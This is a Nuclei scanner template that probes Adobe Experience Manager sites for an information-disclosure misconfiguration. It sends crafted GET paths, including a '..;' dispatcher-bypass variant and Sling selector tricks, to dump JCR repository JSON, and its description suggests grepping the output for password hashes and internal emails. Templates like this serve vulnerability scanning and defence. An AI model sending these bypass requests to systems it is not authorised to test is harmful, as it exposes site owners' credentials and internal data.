nuclei-templates/http/misconfiguration/aem/aem-secrets.yaml

id: aem-secrets

info:
  name: AEM Secrets - Sensitive Information Disclosure
  author: boobooHQ,j3ssie
  severity: high
  description: |
    Possible Juicy Files can be discovered at this endpoint. Search / Grep for secrets like hashed passwords ( SHA ) , internal email disclosure etc.
  reference:
    - https://www.linkedin.com/feed/update/urn:li:activity:7066003031271616513/
  metadata:
    verified: true
    max-request: 2
  tags: aem,adobe,misconfig,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}//content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json"
      - "{{BaseURL}}/..;//content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json"

    headers:
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Accept-Language: en-US,en;q=0.9,hi;q=0.8
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"jcr:uuid"'
          - '"jcr:createdBy"'
          - '"uri"'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

# digest: 4b0a00483046022100f26aef400ffc895f1d84d377c7c8889af3a56490902382de4d7e2504f59b48bc02210090f54e744e9f760d4a740a9b6d7fe6a61d4904e4823b4d43318598fd8b2b10ce:922c64590222798bb761d5b6d8e72950